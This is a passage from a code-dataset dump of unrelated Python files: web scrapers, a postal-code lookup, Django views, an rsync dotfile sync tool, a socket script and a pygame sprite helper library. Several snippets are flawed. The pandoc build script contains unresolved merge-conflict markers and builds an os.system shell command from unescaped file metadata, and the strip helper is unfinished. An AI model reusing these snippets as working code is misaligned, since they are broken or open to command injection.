response.xpath('//a[@class=\"_3la3Fn _1zZOAc oZoRPi\"]//text()').extract()\r\n gener = (str(response.xpath('//div[@class=\"_3WHvuP\"]//ul//li[@class=\"_2-riNZ\"][4]/text()').extract())).split(\": \")\r\n item['Gener'] = gener[1] \r\n yield item\r\n \r\n \r\n \r\n custom_settings = {\r\n 'FEED_URI': 'book1.csv',\r\n 'FEED_FORMAT': 'csv',\r\n 'FEED_EXPORT_ENCODING': 'utf-8'\r\n } \r\n\r\n\r\n\r\n\r\n ","sub_path":"content-based/book/book/spiders/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"462472882","text":"import json\n\njson_url=\"postinumerot.json\"\n\ndef lue_tiedosto(osoite):\n \n \"\"\"luetaan tiedosto ja parsitaan se dictionary muotoon\"\"\"\n tiedosto = open(osoite, \"r\")\n luettu = (tiedosto.read())\n lista = json.loads(luettu)\n return lista\n\ndef kysy_toiminto():\n \"\"\"kysytään käyttäjältä halutaanko etsiä \n kaupungin vai postinumeron perusteella\"\"\"\n print(\"Etsitäänkö postinumeroa (P) vai kaupunkia (K): \", end=\"\")\n syote = input()\n return syote\n\n\ndef kysy_kaupunki():\n \"\"\"pyydetään käyttäjää syöttämään postinumero ja luetaan syöte\"\"\"\n print(\"Kirjoita postitoimipaikka: \", end=\"\")\n syote = input()\n return syote\n\ndef kysy_postinumero():\n \"\"\"pyydetään käyttäjää syöttämään postinumero ja luetaan syöte\"\"\"\n print(\"Kirjoita postinumero: \", end=\"\")\n syote = input()\n return syote\n\ndef hae_kaupunki(kaupungit, numero):\n for postinumero, kaupunki in kaupungit.items():\n if postinumero == numero:\n print(kaupunki.upper())\n return kaupunki.upper()\n return ''\n\ndef hae_postinumerot(kaupungit, nimi):\n \"\"\"käydään lista läpi ja jos postitoimipaikka löytyy niin lisätään \n listalle kaikki postinumerot samalla muotoillen lista tulostukseen\"\"\"\n nimi = nimi.upper()\n lista = []\n for postinumero, kaupunki in kaupungit.items():\n if kaupunki == nimi:\n lista.append(postinumero.upper() + \", \")\n if lista == []:\n lista.append(\", \")\n \n lista[-1] = lista[-1].strip(\", \")\n \n\n \"\"\"def tulosta(lista):\"\"\"\n \"\"\"tulostetaan listalla olevat postinumerot\"\"\"\n print(\"Postinumerot: \", end=\"\")\n for numero in range(len(lista)): \n print(lista[numero], end=\"\") \n return lista\n\"\"\"print(kaupungit)\"\"\"\n\ndef main():\n print(\"\\033[1;32;40m\")\n kaupungit = lue_tiedosto(json_url)\n valinta = 'X' \n while valinta != 'K' and valinta != 'P':\n valinta = kysy_toiminto()\n if valinta == 'K':\n nimi = kysy_kaupunki() \n hae_postinumerot(kaupungit, nimi)\n if valinta == 'P':\n numero = kysy_postinumero()\n hae_kaupunki(kaupungit, numero)\n \nif __name__ == \"__main__\":\n main()","sub_path":"Postinumerot/postinumerot.py","file_name":"postinumerot.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"202095220","text":"#! /usr/bin/env python\nimport os\nimport sys\nimport getopt\nimport frontmatter\n\n\ndef main():\n opts, _ = getopt.getopt(sys.argv[1:], 'b:')\n with open('headers/' + opts[0][1]) as f:\n m, _ = frontmatter.parse(f.read())\n\n code = \"\"\"\n<<<<<<< HEAD\n pandoc headers/{} -i {} --bibliography=./mscl_refs.bib --filter=pandoc-eqnos --columns 6 --filter=pandoc-crossref -o {}\n=======\n pandoc headers/{} -i {} --bibliography=./mscl_refs.bib --filter=pandoc-eqnos --columns 6 --filter=pandoc-crossref -o {}\n>>>>>>> a7f1f48764c67f8af548b5f30711258794088eba\n \"\"\".format(m['header'], m['include'], m['name'])\n os.system(code)\n\n\nif __name__ == '__main__':\n main()\n print('document successfully compiled')\n","sub_path":"doc/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"206334900","text":"from django.shortcuts import render,redirect\nfrom salesactivity.forms import BranchesForm\nfrom salesactivity.models import Branches\n\ndef sales(request):\n if request.method==\"POST\":\n form=BranchesForm(request.POST)\n if form.is_valid():\n try:\n form.save()\n return redirect('/show')\n except:\n pass\n else:\n form=BranchesForm()\n return render(request, 'salesactivity/index.html', {'form':form})\ndef show(request):\n salesactivities=Branches.objects.all()\n return render(request, \"salesactivity/show.html\", {'salesactivities':salesactivities})\ndef edit(request,id):\n salesactivity=Branches.objects.get(id=id)\n return render(request, 'salesactivity/edit.html', {'salesactivity':salesactivity})\ndef update(request,id):\n salesactivity=Branches.objects.get(id=id)\n\n form=BranchesForm(request.POST,instance=salesactivity)\n if form.is_valid():\n form.save()\n return redirect(\"/show\")\n return render(request, 'salesactivity/edit.html', {'salesactivity': salesactivity})\ndef destroy(request, id):\n salesactivity = Branches.objects.get(id=id)\n salesactivity.delete()\n return redirect(\"/show\")\n\n\n\n# Create your views here.\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"398163931","text":"# -*- coding: utf-8 -*-\nimport re\nimport json\nimport requests\nfrom requests import ConnectionError, ReadTimeout\nfrom urllib import quote\nfrom urlparse import urljoin\nfrom ..items import DzdpFoodItem\nfrom scrapy import Spider, Request\nimport datetime\n\n\nclass Xpath:\n city_list_rule = \"//div[@class='group clearfix']/a/@href\"\n res_list_rule = \"//div[@id='shop-all-list']/ul/li\"\n res_url_rule = \".//div[@class='tit']/a[1]/@href\"\n res_cuisine_rule = \".//div[@class='tag-addr']/a[1]/span/text()\"\n res_cdb_rule = \".//div[@class='tag-addr']/a[2]/span/text()\"\n next_page_rule = \"//a[@class='next']/@href\"\n res_name_rule = \"//h1[@class='shop-name']/text()\"\n res_adr_rule = \"//span[@itemprop='street-address']/text()\"\n res_tel_rule = \"//p[@class='expand-info tel']/span/text()\"\n res_cm_num_rule = \"//span[@id='reviewCount']/text() | //div[@class='brief-info']/span[2]/text()\"\n res_score_rule = \"//div[@class='brief-info']/span[1]/@class\"\n res_cm_attribute_rule = \"//span[@id='comment_score']/span/text()\"\n\n\nclass FoodSpider(Spider):\n name = \"food_comment\"\n item = DzdpFoodItem()\n allowed_domains = [\"dianping.com\"]\n food_url_template = \"https:{}/food\"\n start_urls = ['https://www.dianping.com/']\n cuisine_headers = {\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n 'Accept-Encoding': 'gzip, deflate, sdch',\n 'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6',\n 'Connection': 'close',\n 'Host': 'www.dianping.com',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko)' \\\n ' Chrome/58.0.3029.110 Safari/537.36',\n 'X-Requested-With': 'XMLHttpRequest'}\n\n def parse(self, response):\n city_urls = response.xpath(Xpath.city_list_rule).extract()\n for url in city_urls:\n yield Request(url=self.food_url_template.format(url),\n callback=self.parse_food_detail)\n\n def parse_food_detail(self, response):\n food_categorys = re.findall(r'/search/category/\\d+/\\d+/[^\"]+', response.body)\n for category in food_categorys:\n yield Request(url=urljoin(\"http://www.dianping.com\", category),\n callback=self.parse_res_list)\n\n def parse_res_list(self, response):\n res_list = response.xpath(Xpath.res_list_rule)\n for restaurant in res_list:\n res_url = restaurant.xpath(Xpath.res_url_rule).extract()[0]\n url = 'http://www.dianping.com{}/review_more'.format(res_url)\n yield Request(url=url,\n meta={'cuisine': restaurant.xpath(Xpath.res_cuisine_rule).extract()[0],\n 'cdb': restaurant.xpath(Xpath.res_cdb_rule).extract()},\n callback=self.parse_res_detail)\n next_url = response.xpath(Xpath.next_page_rule).extract()\n if next_url:\n url = 'http://www.dianping.com{}/review_more'.format(next_url[0])\n yield Request(url=url,\n callback=self.parse_res_list)\n\n def parse_res_detail(self, response):\n self.item['restaurant'] = response.xpath('//h1/a/text()').extract()[0].strip()\n comment_contentlist = response.xpath('//div[@class=\"comment-list\"]/ul/li')\n for comment_content in comment_contentlist:\n self.item['cm_author'] = comment_content.xpath('.//p[@class=\"name\"]/a/text()').extract()[0]\n self.item['score'] = int(comment_content.xpath('.//div[@class=\"user-info\"]/span/@class').re(r'\\d+')[0]) * 0.1\n self.item['cm_attribute'] = ','.join(comment_content.xpath('.//div[@class=\"comment-rst\"]/span[@class=\"rst\"]/text()').extract())\n self.item['cm_pub_time'] = comment_content.xpath('.//span[@class=\"time\"]/text()').extract()[0].strip()\n data = comment_content.xpath('.//div[@class=\"J_brief-cont\"]')\n self.item['cm_content'] = data.xpath('string(.)').extract()[0].strip()\n self.item['cm_zan'] = comment_content.xpath('.//span[@class=\"countWrapper\"]/a/@data-count').extract()[0] if comment_content.xpath('.//span[@class=\"countWrapper\"]/a/@data-count').extract() else '0'\n self.item['cm_response'] = comment_content.xpath('.//span[@class=\"col-right\"]/span[2]/a/@total').extract()[0] if comment_content.xpath('.//span[2]/a/@total').extract() else '0'\n self.item['cm_collect'] = '0'\n self.item['cm_inform'] = '0'\n self.item['url'] = response.url\n self.item['dt'] = datetime.datetime.now().strftime('%Y%m%d')\n self.item['group_id'] = '305'\n self.item['source'] = 'dianping'\n # print self.item['cm_content']\n # print response.url\n\n yield self.item\n\n next_url = response.xpath('//div[@class=\"comment-mode\"]/div[@class=\"Pages\"]/div[@class=\"Pages\"]/a[@class=\"NextPage\"]/@href').extract()\n if next_url:\n yield Request(url=urljoin(response.url, next_url[0]),\n callback=self.parse_res_detail)\n\n","sub_path":"dzdp_food/dzdp_food/spiders/food_comment.py","file_name":"food_comment.py","file_ext":"py","file_size_in_byte":5041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"243612181","text":"import logging\nfrom os import path\n\nfrom bbcode.common import base, cmd\n\nlogger = logging.getLogger(\"sync.conf\")\n\n@cmd.option(\"--progress\",\n action=\"store_true\",\n help=\"show sync progress\")\n@cmd.group(\"rsync.conf\", group_name=\"rsync flags\",\n description=\"rsync common flags\")\ndef sync_impl(source, destination, args):\n if not path.exists(source):\n logger.warning(\"skip not exists file: %s\" % source)\n return\n\n SYNC = [\"rsync\"]\n base.shell_exec(\n \"rsync -avzch --partial\",\n \"--progress\" if args.progress else \"-q\",\n source,\n destination,\n check_error=True,\n )\n\n__CONF_REG__ = {}\n__CONF_STR__ = \"\"\n\nINTEGRAL = \"integral\"\nOPTIONAL = \"optional\"\n\ndef register_conf(name, *file_names, group_type=INTEGRAL):\n global __CONF_STR__\n\n group = __CONF_REG__.setdefault(name, set())\n for f in file_names:\n group.add(f)\n\n __CONF_STR__ += \"\\n\\t{}\\t{}\\t{}\".format(\n name, group_type, \" \".join(file_names))\n\nregister_conf(\"profile\",\n \".profile\", \".bashrc\", \".bash_profile\", \".commacd.bash\")\nregister_conf(\"vim\",\n \".vimrc\", \".vundle.vim\", \".vim\")\nregister_conf(\"pip\", \".config/pip\")\nregister_conf(\"tmux\", \".tmux.conf\")\nregister_conf(\"conda\", \".condarc\")\nregister_conf(\"aria2\", \"aria2.conf\")\nregister_conf(\"git\", \".gitconfig\")\nregister_conf(\"npm\",\n \".npm\", \".tern-config\",\n group_type=OPTIONAL)\nregister_conf(\"ssh\",\n \".ssh/config\", \".ssh/authorized_keys\", \".ssh/known_hosts\")\n\n@cmd.option(\"--append\",\n action=\"append\", default=[],\n help=\"add files into sync list\")\n@cmd.option(\"--remove\",\n action=\"append\", default=[],\n help=\"remove file from sync list\")\n@cmd.option(\"destination\", default=\"~\",\n help=\"destination path, [user@]host:dest\")\n@cmd.option(\"source\", default=\"~\",\n help=\"source path, [user@]host:src\")\n@cmd.module(\"rsync.conf\", as_main=True,\n help=\"user configuration sync tool\",\n description=\"\"\"\nConfiguration File Sync Tool\n\n Configuration Files:\n{}\n\n\"\"\".format(__CONF_STR__))\ndef conf_sync(args):\n\n sync_files = []\n for v in __CONF_REG__.values():\n sync_files.extend(v)\n\n for r in args.remove:\n files = __CONF_REG__.get(r, None) or [r]\n for f in files:\n sync_files.remove(f)\n\n for a in args.append:\n files = __CONF_REG__.get(a, None) or [a]\n for f in files:\n sync_files.append(f)\n\n logger.info(\"rSync Files:\\n\\t%s\" % \" \".join(sync_files))\n\n dest = args.destination\n if not dest.endswith(\"/\"):\n dest += \"/\"\n\n for f in sync_files:\n src = path.join(args.source, f)\n sync_impl(src, dest, args)\n","sub_path":"python/bbcode/rsync/sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572694459","text":"#!/usr/bin/env python\n\n\n# for debugging, requires: python configure.py --trace ...\nif False:\n import sip\n sip.settracemask(0x3f)\n\nimport random\nimport sys\nimport socket\nimport os\nimport time\nimport struct\nfrom ctypes import *\n\n\n\"\"\" This class defines a C-like struct \"\"\"\nclass Payload(Structure):\n _fields_ = [(\"value\", (c_double*1))]\n\ndata0=Payload()\n\n# Create a UDS socket\nsock_out = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n\n\nserver_addressS = '/tmp/bsock'\nsock_in = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\nsock_in.bind(server_addressS)\nsock_in.listen(1)\nsock_in.settimeout(1)\n\n\nwhile True:\n\ttry:\n\t\tconnection, client_address = sock_in.accept()\n\t\tbreak\n\texcept KeyboardInterrupt:\n\t\tsock_in.shutdown(1)\n\t\tsock_in.close()\n\t\tos.unlink(server_addressS)\n\t\tsys.exit(1)\n\texcept socket.timeout:\n\t\ttime.sleep(0.5)\n\t\tprint(\"Trying again ...\")\n\nsys.stderr.write('connecting FROM '+str(server_addressS)+'\\n')\n\nserver_addressC = '/tmp/ssock'\n\ntr=True\n\nwhile tr:\n\tsys.stderr.write('connecting to '+str(server_addressC)+'\\n')\n\ttry:\n\t\t#sock_out.connect(server_addressC)\n\t\ttr=False \n\texcept socket.error as msg:\n\t\tsys.stderr.write(msg)\n\t\ttime.sleep(2)\n\nprint(\"Connected!\")\nii=0\nwhile True:\n try:\n ii=ii+1\n #time.sleep(0.1)\n data = connection.recv(8)\n data0.value[0]= 50*struct.unpack('d',data)[0]\n connection.sendall(data0)\n #connection.sendall(data)\n #sock_out.sendall(data0) #str(ii*0.1))\n except KeyboardInterrupt:\n time.sleep(1)\n #ret=connection.close()\n #ret=sock_in.close()\n #sock_out.close()\n os.unlink(server_addressS)\n sys.exit(0)\n\n\n","sub_path":"Preempt RT/examples_socket/socketDatab1.py","file_name":"socketDatab1.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"70987123","text":"\"\"\"\n\nThe sum of the squares of the first ten natural numbers is,\n1^2 + 2^2 + ... + 10^2 = 385\n\nThe square of the sum of the first ten natural numbers is,\n(1 + 2 + ... + 10)^2 = 55^2 = 3025\n\nHence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 − 385 = 2640.\n\nFind the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.\n\"\"\"\n\nsumOfSquare = 0\nsquareOfSum = 0\ndifference = 0\n\nfor i in range(0,101):\n sumOfSquare += i*i\n squareOfSum += i\nsquareOfSum = squareOfSum * squareOfSum\n\ndifference = (squareOfSum - sumOfSquare)\n\nprint(difference)\n","sub_path":"Problem6.py","file_name":"Problem6.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"183742379","text":"#! python3\n\n# Write a function that takes a string and does the same thing as the strip()\n# string method. If no other arguments are passed other than the string to\n# strip, then whitespace characters will be removed from the beginning and\n# end of the string. Otherwise, the characters specified in the second\n# argument to the function will be removed from the string.\n\nimport re\n\ndef strip(s, chars=None):\n if chars is None:\n print(re.sub(r'^\\s*(.*?)\\s*$', r'\\1', s))\n\nstrip('test', 's')\n","sub_path":"regexStrip.py","file_name":"regexStrip.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"203511246","text":"\"\"\"\nGenerating awards\n\"\"\"\n \nfrom django.conf import settings\nfrom main.server import models, html, notegen\nfrom main.server.const import *\nfrom django.contrib import messages\n\n#models.Award.objects.all().delete()\n\ndef init_badges():\n \"Initializes badges \"\n models.Badge.get_or_create(name='Teacher', description='')\n pass\n\ndef create(request, user, badge):\n award = models.Award.objects.create(user=user, badge=badge)\n text = notegen.awardnote(award.badge)\n note = models.Note.objects.create(sender=user, target=user, content=text, url=award.badge.get_absolute_url() )\n messages.info(request, note.html)\n\n\ndef instant(request):\n \"\"\"\n Produces an instant award if applicable and returns.\n These awards may be granted during active sessions\n \"\"\"\n user = request.user\n\n badges = dict( [ (b.name, b) for b in models.Badge.objects.all() ] )\n awards = set( models.Award.objects.filter(user=user).values_list('badge__name', flat=True).distinct() )\n \n def apply_award(name, func):\n badge = badges.get(name)\n if badge and badge.name not in awards and func():\n create(request, user=user, badge=badge)\n return True\n return False\n \n def civic_duty():\n return models.Vote.objects.filter(author=user, type=VOTE_UP).count() > 300\n \n pairs = [\n ('Teacher', models.Post.objects.filter(author=user, score__gt=0).count),\n ('Supporter', models.Vote.objects.filter(author=user).count),\n ('Nice Question', models.Post.objects.filter(author=user, score__gt=10).count),\n ('Famous Question', models.Post.objects.filter(author=user, score__gt=250).count),\n ('Civic Duty', civic_duty),\n ]\n \n for name, func in pairs:\n if apply_award(name, func):\n return ","sub_path":"main/server/awards.py","file_name":"awards.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"179949300","text":"# A library file for simplifying pygame interaction.\n\n'''This code is the original work of Luther Tychonievich, who releases it\ninto the public domain.\n\nAs a courtesy, Luther would appreciate it if you acknowledged him in any work\nthat benefited from this code.'''\n\nfrom __future__ import division\nimport pygame, sys\nimport urllib, os.path\nif 'urlretrieve' not in dir(urllib):\n from urllib.request import urlretrieve as _urlretrieve\nelse:\n _urlretrieve = urllib.urlretrieve\n\npygame.init()\n\n# a cache to avoid loading images many time\n_known_images = {}\n_known_sounds = {}\n\n\ndef _image(key, flip=False, w=0, h=0, angle=0):\n '''A method for loading images, caching them, and flipping them'''\n if '__hash__' not in dir(key):\n key = id(key)\n angle,w,h = int(angle), int(w), int(h)\n ans = None\n if (key,flip,w,h,angle) in _known_images:\n ans = _known_images[(key,flip,w,h,angle)]\n elif angle != 0:\n base = _image(key,flip,w,h)\n img = pygame.transform.rotozoom(base, angle, 1)\n _known_images[(key,flip,w,h,angle)] = img\n ans = img\n elif w != 0 or h != 0:\n base = _image(key, flip)\n img = pygame.transform.smoothscale(base, (w,h))\n _known_images[(key,flip,w,h,angle)] = img\n ans = img\n elif flip:\n base = _image(key)\n img = pygame.transform.flip(base, True, False)\n _known_images[(key,flip,w,h,angle)] = img\n ans = img\n else:\n img, _ = _get_image(key)\n _known_images[(key,flip,w,h,angle)] = img\n ans = img\n if w == 0 and h == 0:\n if angle != 0: tmp = _image(key, flip, w, h)\n else: tmp = ans\n _known_images[(key,flip,tmp.get_width(),tmp.get_height(), angle)] = ans\n return ans\n \ndef _image_from_url(url):\n '''a method for loading images from urls by first saving them locally'''\n filename = os.path.basename(url)\n if not os.path.exists(filename):\n if '://' not in url: url = 'http://'+url\n _urlretrieve(url, filename)\n image, filename =_image_from_file(filename)\n return image, filename\n\ndef _image_from_file(filename):\n '''a method for loading images from files'''\n image = pygame.image.load(filename).convert_alpha()\n _known_images[filename] = image\n _known_images[(image.get_width(), image.get_height(), filename)] = image\n return image, filename\n\ndef _get_image(thing):\n '''a method for loading images from cache, then file, then url'''\n if thing in _known_images: return _known_images[thing], thing\n sid = '__id__'+str(id(thing))\n if sid in _known_images: return _known_images[sid], sid\n if type(thing) is str:\n if os.path.exists(thing): return _image_from_file(thing)\n return _image_from_url(thing)\n _known_images[sid] = thing\n _known_images[(thing.get_width(), thing.get_height(), sid)] = thing\n return thing, sid\n\ndef load_sprite_sheet(url_or_filename, rows, columns):\n '''Loads a sprite sheet. Assumes the sheet has rows-by-columns evenly-spaced images and returns a list of those images.'''\n sheet, key = _get_image(url_or_filename)\n height = sheet.get_height() / rows\n width = sheet.get_width() / columns\n frames = []\n for row in range(rows):\n for col in range(columns):\n clip = pygame.Rect( col*width, row*height, width, height )\n frame = sheet.subsurface(clip)\n frames.append(frame)\n return frames\n__all__ = ['load_sprite_sheet']\n\ndef from_image(x, y, filename_or_url):\n '''Creates a SpriteBox object at the given location from the provided filename or url'''\n image, key = _get_image(filename_or_url)\n return SpriteBox(x, y, image, None)\n__all__.append('from_image')\n\ndef from_color(x, y, color, width, height):\n '''Creates a SpriteBox object at the given location with the given color, width, and height'''\n return SpriteBox(x, y, None, color, width, height)\n__all__.append('from_color')\n\ndef from_text(x, y, text, fontname, fontsize, color, bold=False, italic=False):\n '''Creates a SpriteBox object at the given location with the given text as its content'''\n font = pygame.font.match_font(fontname.replace(\" \",\"\").lower())\n if font is None: \n sys.stderr.write(\"ERROR: no font named \"+fontname+\"; using default font instead\")\n font = pygame.font.Font(font,fontsize)\n font.set_bold(bold)\n font.set_italic(italic)\n if type(color) is str: color = pygame.Color(color)\n return from_image(x,y,font.render(text,True,color))\n__all__.append('from_text')\n\n\ndef load_sound(url_or_filename):\n '''Reads a sound file from a given filename or url'''\n if url_or_filename in _known_images: return _known_sounds[url_or_filename]\n if not os.path.exists(url_or_filename): \n filename = os.path.basename(url_or_filename)\n if not os.path.exists(filename):\n _urlretrieve(url_or_filename, filename)\n url_or_filename = filename\n sound = pygame.mixer.Sound(url_or_filename)\n _known_sounds[url_or_filename] = sound\n return sound\n__all__.append('load_sound')\n\n\n\nclass Camera(object):\n '''A camera defines what is visible. It has a width, height, full screen status,\n and can be moved. Moving a camera changes what is visible.\n '''\n is_initialized = False\n# __slots__ = [\"_surface\", \"x\", \"y\", \"speedx\", \"speedy\"]\n def __init__(self, width, height, full_screen=False):\n '''Camera(pixelsWide, pixelsTall, False) makes a window; using True instead makes a full-screen display.'''\n if Camera.is_initialized: raise Exception(\"You can only have one Camera at a time\")\n # if height > 768: raise Exception(\"The Game Expo screens will only be 768 pixels tall\")\n # if width > 1366: raise Exception(\"The Game Expo screens will only be 1366 pixels wide\")\n if full_screen:\n self.__dict__['_surface'] = pygame.display.set_mode([width, height], pygame.FULLSCREEN)\n else:\n self.__dict__['_surface'] = pygame.display.set_mode([width, height])\n self.__dict__['_x'] = 0\n self.__dict__['_y'] = 0\n Camera.is_initialized = True\n def move(self, x, y=None):\n '''camera.move(3, -7) moves the screen's center to be 3 more pixels to the right and 7 more up'''\n if y is None: x, y = x\n self.x += x\n self.y += y\n def draw(self, thing, *args):\n '''camera.draw(box) draws the provided SpriteBox object\n camera.draw(image, x, y) draws the provided image centered at the provided coordinates\n camera.draw(\"Hi\", \"Arial\", 12, \"red\", x, y) draws the text Hi in a red 12-point Arial font at x,y'''\n if isinstance(thing, SpriteBox):\n thing.draw(self)\n elif isinstance(thing, pygame.Surface):\n try:\n if len(args) == 1: x,y = args[0]\n else: x,y = args[:2]\n self._surface.blit(thing, [x-thing.get_width()/2,y-thing.get_height()/2])\n except e:\n raise Exception(\"Wrong arguments; try .draw(surface, [x,y])\")\n elif type(thing) is str:\n try:\n font = pygame.font.match_font(args[0].replace(\" \",\"\").lower())\n if font is None: \n sys.stderr.write(\"ERROR: no font named \"+fontname+\"; using default font instead\")\n size = args[1]\n color = args[2]\n if type(color) is str: color = pygame.Color(color)\n self.draw(pygame.font.Font(font,size).render(thing,True,color), *args[3:])\n except e:\n raise Exception(\"Wrong arguments; try .draw(text, fontName, fontSize, color, [x,y])\")\n else:\n raise Exception(\"I don't know how to draw a \",type(thing))\n\n def display(self):\n '''Causes what has been drawn recently by calls to draw(...) to be displayed on the screen'''\n pygame.display.flip()\n def clear(self, color):\n '''Erases the screen by filling it with the given color'''\n if type(color) is str: color = pygame.Color(color)\n self._surface.fill(color)\n def __getattr__(self, name):\n if name in self.__dict__: return self.__dict__[name]\n x, y, w, h = self._x, self._y, self._surface.get_width(), self._surface.get_height()\n if name == 'left': return x\n if name == 'right': return x + w\n if name == 'top': return y\n if name == 'bottom': return y + h\n if name == 'x': return x + w/2\n if name == 'y': return y + h/2\n if name == 'center': return x+w/2, y+h/2\n if name == 'topleft': return x,y\n if name == 'topright': return x + w, y\n if name == 'bottomleft': return x, y + h\n if name == 'bottomright': return x + w, y + h\n if name == 'width': return w\n if name == 'height': return h\n if name == 'size': return w, h\n if name == 'mousex': return pygame.mouse.get_pos()[0] + self._x\n if name == 'mousey': return pygame.mouse.get_pos()[1] + self._y\n if name == 'mouse': return pygame.mouse.get_pos()[0] + self._x, pygame.mouse.get_pos()[1] + self._y\n if name == 'mouseclick': return any(pygame.mouse.get_pressed())\n raise Exception(\"There is no '\" + name + \"' in a Camera object\")\n\n def __setattr__(self, name, value):\n if name in self.__dict__:\n self.__dict__[name] = value\n return\n w, h = self._surface.get_width(), self._surface.get_height()\n if name == 'left': self._x = value\n elif name == 'right': self._x = value - w\n elif name == 'top': self._y = value\n elif name == 'bottom': self._y = value - h\n elif name == 'x': self._x = value-w/2\n elif name == 'y': self._y = value-h/2\n elif name == 'center': self._x, self._y = value[0]-w/2, value[1]-h/2\n elif name == 'topleft': self._x, self._y = value[0], value[1]\n elif name == 'topright': self._x, self._y = value[0] - w, value[1]\n elif name == 'bottomleft': self._x, self._y = value[0], value[1] - h\n elif name == 'bottomright': self._x, self._y = value[0] - w, value[1] - h\n elif name in ['width','height','size','mouse','mousex','mousey','mouseclick']:\n raise Exception(\"You cannot change the '\" + name + \"' of a Camera object\")\n else:\n sys.stderr.write(\"creating field named \"+name)\n self.__dict__[name] = value\n def __repr__(self):\n return str(self)\n\n def __str__(self):\n return '%dx%d Camera centered at %d,%d' % (self.width, self.height, self.x, self.y)\n\n__all__.append('Camera')\n\n\n\nclass SpriteBox(object):\n '''Intended to represent a sprite (i.e., an image that can be drawn as part of a larger view) and the box that contains it. Has various collision and movement methods built in.'''\n# __slots__ = [\"x\",\"y\",\"speedx\",\"speedy\",\"_w\",\"_h\",\"_key\",\"_image\",\"_color\"]\n def __init__(self, x, y, image, color, w=None, h=None):\n '''You should probably use the from_image, from_text, or from_color method instead of this one'''\n self.__dict__['x'] = x\n self.__dict__['y'] = y\n self.__dict__['speedx'] = 0\n self.__dict__['speedy'] = 0\n if image is not None:\n self._set_key(image, False, 0, 0, 0)\n if w is not None:\n if h is not None: self.size = w,h\n else: self.width = w\n elif h is not None: self.height = h\n elif color is not None:\n if w is None or h is None: raise Exception(\"must supply size of color box\")\n self.__dict__['_key'] = None\n self.__dict__['_image'] = None\n self.__dict__['_w'] = w\n self.__dict__['_h'] = h\n self.color = color\n pass\n \n def _set_key(self, name, flip, width, height, angle):\n width = int(width+0.5)\n height = int(height+0.5)\n angle = ((int(angle)%360)+360)%360\n unrot = _image(name, flip, width, height)\n if width == 0 and height == 0: \n width = unrot.get_width()\n height = unrot.get_height()\n self.__dict__['_key'] = (name, flip, width, height, angle)\n self.__dict__['_image'] = _image(*self.__dict__['_key'])\n self.__dict__['_color'] = None\n self.__dict__['_w'] = self.__dict__['_image'].get_width()\n self.__dict__['_h'] = self.__dict__['_image'].get_height()\n \n\n def __getattr__(self, name):\n x, y, w, h = self.x, self.y, self._w, self._h\n if name == 'xspeed': name = 'speedx'\n if name == 'yspeed': name = 'speedy'\n if name == 'left': return x - w / 2\n if name == 'right': return x + w / 2\n if name == 'top': return y - h / 2\n if name == 'bottom': return y + h / 2\n if name == 'center': return x, y\n if name == 'topleft': return x - w / 2, y - h / 2\n if name == 'topright': return x + w / 2, y - h / 2\n if name == 'bottomleft': return x - w / 2, y + h / 2\n if name == 'bottomright': return x + w / 2, y + h / 2\n if name == 'width': return w\n if name == 'height': return h\n if name == 'width': return w\n if name == 'height': return h\n if name == 'size': return w, h\n if name == 'speed': return self.speedx, self.speedy\n if name == 'rect': return pygame.Rect(self.topleft, self.size)\n if name == 'image': return self.__dict__['_image']\n if name in self.__dict__:\n return self.__dict__[name]\n raise Exception(\"There is no '\" + name + \"' in a SpriteBox object\")\n\n def __setattr__(self, name, value):\n w, h = self._w, self._h\n if name == 'xspeed': name = 'speedx'\n if name == 'yspeed': name = 'speedy'\n if name in self.__dict__:\n self.__dict__[name] = value\n elif name == 'left': self.x = value + w / 2\n elif name == 'right': self.x = value - w / 2\n elif name == 'top': self.y = value + h / 2\n elif name == 'bottom': self.y = value - h / 2\n elif name == 'center': self.x, self.y = value[0], value[1]\n elif name == 'topleft': self.x, self.y = value[0] + w / 2, value[1] + h / 2\n elif name == 'topright': self.x, self.y = value[0] - w / 2, value[1] + h / 2\n elif name == 'bottomleft': self.x, self.y = value[0] + w / 2, value[1] - h / 2\n elif name == 'bottomright': self.x, self.y = value[0] - w / 2, value[1] - h / 2\n elif name == 'width': self.scale_by(value/w)\n elif name == 'height': self.scale_by(value/h)\n elif name == 'size': \n if self.__dict__['_image'] is not None:\n key = self.__dict__['_key']\n self._set_key(key[0], key[1], value[0], value[1], key[4])\n else:\n self.__dict__['_w'] = value[0]\n self.__dict__['_h'] = value[1]\n elif name == 'speed': self.speedx, self.speedy = value[0], value[1]\n elif name == 'color':\n self.__dict__['_image'] = None\n self.__dict__['_key'] = None\n if type(value) is str: value = pygame.Color(value)\n self.__dict__['_color'] = value\n elif name == 'image':\n 